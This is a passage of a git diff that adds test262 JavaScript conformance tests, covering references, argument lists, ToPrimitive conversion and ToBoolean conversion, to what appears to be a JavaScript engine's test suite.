+ * @description Create a reference to the string, and Concatenate some new text onto the string object
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+// Set item equal to a new string object
+var item = new String("test");
+// itemRef now refers to the same string object
+var itemRef = item;
+// Concatenate some new text onto the string object
+// NOTE: This creates a new object, and does not modify
+// the original object.
+item += "ing";
+// The values of item and itemRef are NOT equal, as a whole
+// new string object has been created
+if( item == itemRef ){
+ $ERROR('#1: var item = new String("test"); var itemRef = item; item += "ing"; item != itemRef');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A5_T1.js b/js/src/tests/test262/ch08/8.7/S8.7_A5_T1.js
new file mode 100644
index 000000000..32796bdd3
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A5_T1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Delete unary operator can't delete object to be referenced
+ *
+ * @path ch08/8.7/S8.7_A5_T1.js
+ * @description Delete referenced object, var __ref = obj
+ * @noStrict
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof(__ref) !== "undefined"){
+ $ERROR('#1: typeof(__ref) === "undefined". Actual: ' + (typeof(__ref)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var obj = new Object();
+var __ref = obj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof(__ref) === "undefined"){
+ $ERROR('#2: obj = new Object(); var __ref = obj; typeof(__ref) !== "undefined"');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (delete __ref !== false){
+ $ERROR('#3: obj = new Object(); var __ref = obj; delete __ref === false. Actual: ' + (delete __ref));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (typeof(__ref) !== "object"){
+ $ERROR('#4: obj = new Object(); var __ref = obj; delete __ref; typeof(__ref) === "object". Actual: ' + (typeof(__ref)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (typeof(obj) !== "object"){
+ $ERROR('#5: obj = new Object(); var __ref = obj; delete __ref; typeof(obj) === "object". Actual: ' + (typeof(obj)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A5_T2.js b/js/src/tests/test262/ch08/8.7/S8.7_A5_T2.js
new file mode 100644
index 000000000..a76b36c19
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A5_T2.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Delete unary operator can't delete object to be referenced
+ *
+ * @path ch08/8.7/S8.7_A5_T2.js
+ * @description Delete referenced object, __ref = obj
+ * @noStrict
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof(__ref) !== "undefined"){
+ $ERROR('#1: typeof(__ref) === "undefined". Actual: ' + (typeof(__ref)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var obj = new Object();
+__ref = obj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof(__ref) === "undefined"){
+ $ERROR('#2: obj = new Object(); __ref = obj; typeof(__ref) !== "undefined"');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (delete __ref !== true){
+ $ERROR('#3: obj = new Object(); __ref = obj; delete __ref === true. Actual: ' + (delete __ref));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (typeof(__ref) !== "undefined"){
+ $ERROR('#4: obj = new Object(); __ref = obj; delete __ref; typeof(__ref) === "undefined". Actual: ' + (typeof(__ref)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (typeof(obj) !== "object"){
+ $ERROR('#5: obj = new Object(); __ref = obj; delete __ref; typeof(obj) === "object". Actual: ' + (typeof(obj)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A6.js b/js/src/tests/test262/ch08/8.7/S8.7_A6.js
new file mode 100644
index 000000000..40882f1a5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A6.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Passing arguments by value differs from by reference and do not change values to be passed
+ *
+ * @path ch08/8.7/S8.7_A6.js
+ * @description Adding original variable with referenced one inside function
+ */
+
+var n = 1;
+var m = n;
+
+function addFirst2Second(first, second){first += second;}
+
+addFirst2Second(n, m);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (m !== 1) {
+ $ERROR('#1: var n = 1; var m = n; function addFirst2Second(first, second){first += second;} addFirst2Second(n, m); m === 1. Actual: ' + (m));
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.7/S8.7_A7.js b/js/src/tests/test262/ch08/8.7/S8.7_A7.js
new file mode 100644
index 000000000..17e8eb59c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/S8.7_A7.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Passing arguments by reference do change values of reference to be passed
+ *
+ * @path ch08/8.7/S8.7_A7.js
+ * @description Add new property to original variable inside function
+ */
+
+var n = {};
+var m = n;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof m !== "object") {
+ $ERROR('#1: var n = {}; var m = n; typeof m === "object". Actual: ' + (typeof m));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function populateAge(person){person.age = 50;}
+
+populateAge(m);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (n.age !== 50) {
+ $ERROR('#2: var n = {}; var m = n; function populateAge(person){person.age = 50;} populateAge(m); n.age === 50. Actual: ' + (n.age));
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.7/browser.js b/js/src/tests/test262/ch08/8.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/browser.js
diff --git a/js/src/tests/test262/ch08/8.7/shell.js b/js/src/tests/test262/ch08/8.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.7/shell.js
diff --git a/js/src/tests/test262/ch08/8.8/S8.8_A2_T1.js b/js/src/tests/test262/ch08/8.8/S8.8_A2_T1.js
new file mode 100644
index 000000000..ed9f8c10d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.8/S8.8_A2_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Values of the List type are simply ordered sequences of values
+ *
+ * @path ch08/8.8/S8.8_A2_T1.js
+ * @description Call function __mFunc(1,2,3) with 3 arguments
+ */
+
+function __mFunc(){return arguments.length;};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__mFunc(1,2,3) !== 3){
+ $ERROR('#1: function __mFunc(){return arguments.length;}; __mFunc(1,2,3) === 3. Actual: ' + (__mFunc(1,2,3)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.8/S8.8_A2_T2.js b/js/src/tests/test262/ch08/8.8/S8.8_A2_T2.js
new file mode 100644
index 000000000..4ab032de0
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.8/S8.8_A2_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Values of the List type are simply ordered sequences of values
+ *
+ * @path ch08/8.8/S8.8_A2_T2.js
+ * @description Call function __mFunc([,,]) with 1 arguments
+ */
+
+function __mFunc(){return arguments.length;};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__mFunc([,,]) !== 1){
+ $ERROR('#1: function __mFunc(){return arguments.length;}; __mFunc([,,]) === 1. Actual: ' + (__mFunc([,,])));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.8/S8.8_A2_T3.js b/js/src/tests/test262/ch08/8.8/S8.8_A2_T3.js
new file mode 100644
index 000000000..281c0397c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.8/S8.8_A2_T3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Values of the List type are simply ordered sequences of values
+ *
+ * @path ch08/8.8/S8.8_A2_T3.js
+ * @description Call function, that concatenate all it`s arguments
+ */
+
+function __mFunc(){var __accum=""; for (var i = 0; i < arguments.length; ++i){__accum += arguments[i]};return __accum;};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__mFunc("A","B","C","D","E","F") !== "ABCDEF"){
+ $ERROR('#1: function __mFunc(){var __accum=""; for (var i = 0; i < arguments.length; ++i){__accum += arguments[i]};return __accum;}; __mFunc("A","B","C","D","E","F") === "ABCDEF". Actual: ' + (__mFunc("A","B","C","D","E","F")));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.8/browser.js b/js/src/tests/test262/ch08/8.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.8/browser.js
diff --git a/js/src/tests/test262/ch08/8.8/shell.js b/js/src/tests/test262/ch08/8.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.8/shell.js
diff --git a/js/src/tests/test262/ch08/browser.js b/js/src/tests/test262/ch08/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/browser.js
diff --git a/js/src/tests/test262/ch08/shell.js b/js/src/tests/test262/ch08/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/shell.js
diff --git a/js/src/tests/test262/ch09/9.1/S9.1_A1_T1.js b/js/src/tests/test262/ch09/9.1/S9.1_A1_T1.js
new file mode 100644
index 000000000..662591054
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/S9.1_A1_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of primitive conversion from object is a default value for the Object
+ *
+ * @path ch09/9.1/S9.1_A1_T1.js
+ * @description Using operator Number. The operator calls ToPrimitive with hint Number
+ */
+
+// CHECK#1
+var object = {valueOf: function() {return "1"}, toString: function() {return 0}};
+if (Number(object) !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return "1"}, toString: function() {return 0}}; Number(object) === 1. Actual: ' + (Number(object)));
+}
+
+// CHECK#2
+var object = {valueOf: function() {return {}}, toString: function() {return "0"}};
+if (Number(object) !== 0) {
+ $ERROR('#2: var object = {valueOf: function() {return {}}, toString: function() {return "0"}}; Number(object) === 0. Actual: ' + (Number(object)));
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.1/S9.1_A1_T2.js b/js/src/tests/test262/ch09/9.1/S9.1_A1_T2.js
new file mode 100644
index 000000000..636591dab
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/S9.1_A1_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of primitive conversion from object is a default value for the Object
+ *
+ * @path ch09/9.1/S9.1_A1_T2.js
+ * @description Using operator Number. This operator calls ToPrimitive with hint Number
+ */
+
+// CHECK#1
+var object = {valueOf: function() {return 0}, toString: function() {return 1}};
+if (String(object) !== "1") {
+ $ERROR('#1: var object = {valueOf: function() {return 0}, toString: function() {return 1}}; String(object) === "1". Actual: ' + (String(object)));
+}
+
+// CHECK#2
+var object = {valueOf: function() {return 0}, toString: function() {return {}}};
+if (String(object) !== "0") {
+ $ERROR('#2: var object = {valueOf: function() {return 0}, toString: function() {return {}}}; String(object) === "0". Actual: ' + (String(object)));
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.1/S9.1_A1_T3.js b/js/src/tests/test262/ch09/9.1/S9.1_A1_T3.js
new file mode 100644
index 000000000..cf418eeef
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/S9.1_A1_T3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of primitive conversion from object is a default value for the Object
+ *
+ * @path ch09/9.1/S9.1_A1_T3.js
+ * @description Using operator "+". This operator firstly calls ToPrimitive and then calls ToString or ToNumber
+ */
+
+// CHECK#1
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (object + "" !== "1") {
+ $ERROR('#1: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; object + "" === "1". Actual: ' + (object + ""));
+}
+
+// CHECK#2
+var object = {valueOf: function() {return "1"}, toString: function() {return 0}};
+if (object + 0 !== "10") {
+ $ERROR('#2: var object = {valueOf: function() {return "1"}, toString: function() {return 0}}; object + 0 === "10". Actual: ' + (object + 0));
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.1/S9.1_A1_T4.js b/js/src/tests/test262/ch09/9.1/S9.1_A1_T4.js
new file mode 100644
index 000000000..9dcd88f50
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/S9.1_A1_T4.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of primitive conversion from object is a default value for the Object
+ *
+ * @path ch09/9.1/S9.1_A1_T4.js
+ * @description Using operator "<". The operator firstly calls ToPrimitive and then calls ToString or ToNumber
+ */
+
+// CHECK#1
+var object = {valueOf: function() {return -2}, toString: function() {return "-2"}};
+if ("-1" < object) {
+ $ERROR('#1: var object = {valueOf: function() {return -2}, toString: function() {return "-2"}}; "-1" < object');
+}
+
+// CHECK#2
+var object = {valueOf: function() {return "-2"}, toString: function() {return -2}};
+if (object < "-1") {
+ $ERROR('#2: var object = {valueOf: function() {return "-2"}, toString: function() {return -2}}; object < "-1"');
+}
+
+
diff --git a/js/src/tests/test262/ch09/9.1/browser.js b/js/src/tests/test262/ch09/9.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/browser.js
diff --git a/js/src/tests/test262/ch09/9.1/shell.js b/js/src/tests/test262/ch09/9.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.1/shell.js
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A1_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A1_T1.js
new file mode 100644
index 000000000..44bbaae6a
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A1_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from undefined value is false
+ *
+ * @path ch09/9.2/S9.2_A1_T1.js
+ * @description Undefined, void and others are converted to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(undefined) !== false) {
+ $ERROR('#1: Boolean(undefined) === false. Actual: ' + (Boolean(undefined)));
+}
+
+// CHECK#2
+if (Boolean(void 0) !== false) {
+ $ERROR('#2: Boolean(undefined) === false. Actual: ' + (Boolean(undefined)));
+}
+
+// CHECK#3
+if (Boolean(eval("var x")) !== false) {
+ $ERROR('#3: Boolean(eval("var x")) === false. Actual: ' + (Boolean(eval("var x"))));
+}
+
+// CHECK#4
+if (Boolean() !== false) {
+ $ERROR('#4: Boolean() === false. Actual: ' + (Boolean()));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A1_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A1_T2.js
new file mode 100644
index 000000000..0700b8da6
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A1_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from undefined value is false
+ *
+ * @path ch09/9.2/S9.2_A1_T2.js
+ * @description Undefined, void and others are converted to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(undefined) !== true) {
+ $ERROR('#1: !(undefined) === true. Actual: ' + (!(undefined)));
+}
+
+// CHECK#2
+if (!(void 0) !== true) {
+ $ERROR('#2: !(undefined) === true. Actual: ' + (!(undefined)));
+}
+
+// CHECK#3
+if (!(eval("var x")) !== true) {
+ $ERROR('#3: !(eval("var x")) === true. Actual: ' + (!(eval("var x"))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A2_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A2_T1.js
new file mode 100644
index 000000000..c53da91bf
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A2_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from null value is false
+ *
+ * @path ch09/9.2/S9.2_A2_T1.js
+ * @description null convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(null) !== false) {
+ $ERROR('#1: Boolean(null) === false. Actual: ' + (Boolean(null)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A2_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A2_T2.js
new file mode 100644
index 000000000..ffd391b90
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A2_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from null value is false
+ *
+ * @path ch09/9.2/S9.2_A2_T2.js
+ * @description null convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(null) !== true) {
+ $ERROR('#1: !(null) === true. Actual: ' + (!(null)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A3_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A3_T1.js
new file mode 100644
index 000000000..103f4eab3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from boolean value is no conversion
+ *
+ * @path ch09/9.2/S9.2_A3_T1.js
+ * @description true and false convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(true) !== true) {
+ $ERROR('#1: Boolean(true) === true. Actual: ' + (Boolean(true)));
+}
+
+// CHECK#2
+if (Boolean(false) !== false) {
+ $ERROR('#2: Boolean(false) === false. Actual: ' + (Boolean(false)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A3_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A3_T2.js
new file mode 100644
index 000000000..d1ede1c6d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A3_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from boolean value is no conversion
+ *
+ * @path ch09/9.2/S9.2_A3_T2.js
+ * @description true and false convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(true) !== false) {
+ $ERROR('#1: !(true) === false. Actual: ' + (!(true)));
+}
+
+// CHECK#2
+if (!(false) !== true) {
+ $ERROR('#2: !(false) === true. Actual: ' + (!(false)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A4_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A4_T1.js
new file mode 100644
index 000000000..71860cac8
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A4_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from number value is false if the argument is +0, -0, or NaN; otherwise, is true
+ *
+ * @path ch09/9.2/S9.2_A4_T1.js
+ * @description +0, -0 and NaN convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(+0) !== false) {
+ $ERROR('#1: Boolean(+0) === false. Actual: ' + (Boolean(+0)));
+}
+
+// CHECK#2
+if (Boolean(-0) !== false) {
+ $ERROR('#2: Boolean(-0) === false. Actual: ' + (Boolean(-0)));
+}
+
+// CHECK#3
+if (Boolean(Number.NaN) !== false) {
+ $ERROR('#3: Boolean(Number.NaN) === false. Actual: ' + (Boolean(Number.NaN)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A4_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A4_T2.js
new file mode 100644
index 000000000..66047bea5
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A4_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from number value is false if the argument is +0, -0, or NaN; otherwise, is true
+ *
+ * @path ch09/9.2/S9.2_A4_T2.js
+ * @description +0, -0 and NaN convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(+0) !== true) {
+ $ERROR('#1: !(+0) === true. Actual: ' + (!(+0)));
+}
+
+// CHECK#2
+if (!(-0) !== true) {
+ $ERROR('#2: !(-0) === true. Actual: ' + (!(-0)));
+}
+
+// CHECK#3
+if (!(Number.NaN) !== true) {
+ $ERROR('#3: !(Number.NaN) === true. Actual: ' + (!(Number.NaN)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A4_T3.js b/js/src/tests/test262/ch09/9.2/S9.2_A4_T3.js
new file mode 100644
index 000000000..9a16966d6
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A4_T3.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from number value is false if the argument is +0, -0, or NaN; otherwise, is true
+ *
+ * @path ch09/9.2/S9.2_A4_T3.js
+ * @description Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY,
+ * Number.MAX_VALUE, Number.MIN_VALUE and some numbers convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#1: Boolean(+Infinity) === true. Actual: ' + (Boolean(+Infinity)));
+}
+
+// CHECK#2;
+if (Boolean(Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: Boolean(-Infinity) === true. Actual: ' + (Boolean(-Infinity)));
+}
+
+// CHECK#3
+if (Boolean(Number.MAX_VALUE) !== true) {
+ $ERROR('#3: Boolean(Number.MAX_VALUE) === true. Actual: ' + (Boolean(Number.MAX_VALUE)));
+}
+
+// CHECK#4
+if (Boolean(Number.MIN_VALUE) !== true) {
+ $ERROR('#4: Boolean(Number.MIN_VALUE) === true. Actual: ' + (Boolean(Number.MIN_VALUE)));
+}
+
+// CHECK#5
+if (Boolean(13) !== true) {
+ $ERROR('#5: Boolean(13) === true. Actual: ' + (Boolean(13)));
+}
+
+// CHECK#6
+if (Boolean(-13) !== true) {
+ $ERROR('#6: Boolean(-13) === true. Actual: ' + (Boolean(-13)));
+}
+
+// CHECK#7
+if (Boolean(1.3) !== true) {
+ $ERROR('#7: Boolean(1.3) === true. Actual: ' + (Boolean(1.3)));
+}
+
+// CHECK#8
+if (Boolean(-1.3) !== true) {
+ $ERROR('#8: Boolean(-1.3) === true. Actual: ' + (Boolean(-1.3)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A4_T4.js b/js/src/tests/test262/ch09/9.2/S9.2_A4_T4.js
new file mode 100644
index 000000000..692ab77bf
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A4_T4.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from number value is false if the argument is +0, -0, or NaN; otherwise, is true
+ *
+ * @path ch09/9.2/S9.2_A4_T4.js
+ * @description Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY,
+ * Number.MAX_VALUE, Number.MIN_VALUE and some other numbers are converted to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#1: !(+Infinity) === false. Actual: ' + (!(+Infinity)));
+}
+
+// CHECK#2;
+if (!(Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#2: !(-Infinity) === false. Actual: ' + (!(-Infinity)));
+}
+
+// CHECK#3
+if (!(Number.MAX_VALUE) !== false) {
+ $ERROR('#3: !(Number.MAX_VALUE) === false. Actual: ' + (!(Number.MAX_VALUE)));
+}
+
+// CHECK#4
+if (!(Number.MIN_VALUE) !== false) {
+ $ERROR('#4: !(Number.MIN_VALUE) === false. Actual: ' + (!(Number.MIN_VALUE)));
+}
+
+// CHECK#5
+if (!(13) !== false) {
+ $ERROR('#5: !(13) === false. Actual: ' + (!(13)));
+}
+
+// CHECK#6
+if (!(-13) !== false) {
+ $ERROR('#6: !(-13) === false. Actual: ' + (!(-13)));
+}
+
+// CHECK#7
+if (!(1.3) !== false) {
+ $ERROR('#7: !(1.3) === false. Actual: ' + (!(1.3)));
+}
+
+// CHECK#8
+if (!(-1.3) !== false) {
+ $ERROR('#8: !(-1.3) === false. Actual: ' + (!(-1.3)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A5_T1.js b/js/src/tests/test262/ch09/9.2/S9.2_A5_T1.js
new file mode 100644
index 000000000..293ee2375
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A5_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from nonempty string value (length is not zero) is true; from empty String (length is zero) is false
+ *
+ * @path ch09/9.2/S9.2_A5_T1.js
+ * @description "" is converted to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean("") !== false) {
+ $ERROR('#1: Boolean("") === false. Actual: ' + (Boolean("")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A5_T2.js b/js/src/tests/test262/ch09/9.2/S9.2_A5_T2.js
new file mode 100644
index 000000000..de391a329
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A5_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from nonempty string value (length is not zero) is true; from empty String (length is zero) is false
+ *
+ * @path ch09/9.2/S9.2_A5_T2.js
+ * @description "" convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!("") !== true) {
+ $ERROR('#1: !("") === true. Actual: ' + (!("")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A5_T3.js b/js/src/tests/test262/ch09/9.2/S9.2_A5_T3.js
new file mode 100644
index 000000000..f8f185c59
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A5_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from nonempty string value (length is not zero) is true; from empty String (length is zero) is false
+ *
+ * @path ch09/9.2/S9.2_A5_T3.js
+ * @description Any nonempty string convert to Boolean by explicit transformation
+ */
+
+// CHECK#1
+if (Boolean(" ") !== true) {
+ $ERROR('#1: Boolean(" ") === true. Actual: ' + (Boolean(" ")));
+}
+
+// CHECK#2
+if (Boolean("Nonempty String") !== true) {
+ $ERROR('#2: Boolean("Nonempty String") === true. Actual: ' + (Boolean("Nonempty String")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.2/S9.2_A5_T4.js b/js/src/tests/test262/ch09/9.2/S9.2_A5_T4.js
new file mode 100644
index 000000000..c8ea44e9d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.2/S9.2_A5_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of boolean conversion from nonempty string value (length is not zero) is true; from empty String (length is zero) is false
+ *
+ * @path ch09/9.2/S9.2_A5_T4.js
+ * @description Any nonempty string convert to Boolean by implicit transformation
+ */
+
+// CHECK#1
+if (!(" ") !== false) {
+ $ERROR('#1: !(" ") === false. Actual: ' + (!(" ")));
+}
+
+// CHECK#2
